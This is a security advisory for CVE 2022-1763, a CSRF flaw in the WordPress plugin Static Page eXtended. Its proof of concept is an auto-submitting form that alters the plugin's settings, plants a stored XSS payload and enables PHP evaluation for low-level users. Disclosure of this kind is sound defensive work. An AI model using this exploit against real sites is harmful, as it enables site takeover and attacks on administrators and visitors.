Static Page eXtended <= 2.1 – Arbitrary Settings Update via CSRF to Stored XSS | CVE 2022-1763

Description

Due to missing checks the plugin is vulnerable to CSRF attacks which allows changing the plugin settings, including required user levels for specific features. This could also lead to Stored Cross-Site Scripting due to the lack of escaping in some of the settings

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=jp-staticpagex.php&action=modifypluginoptions" method="POST">
    <input type="text" name="JPSPX_MODIFY_PLUGIN_OPTIONS" value="1">
    <input type="text" name="JPSPX_REPLACE_CONTENT_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_REPLACE_CONTENT_FOLDER" value='wp-content/staticpages/"autofocus onfocus=alert`XSS`//'>
    <input type="text" name="JPSPX_REDIRECT_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_INLINE_INCLUDES_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_EVAL_PHP_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_EVAL_PHP" value="on">
</form>
<script>
    document.getElementById("test").submit();
</script>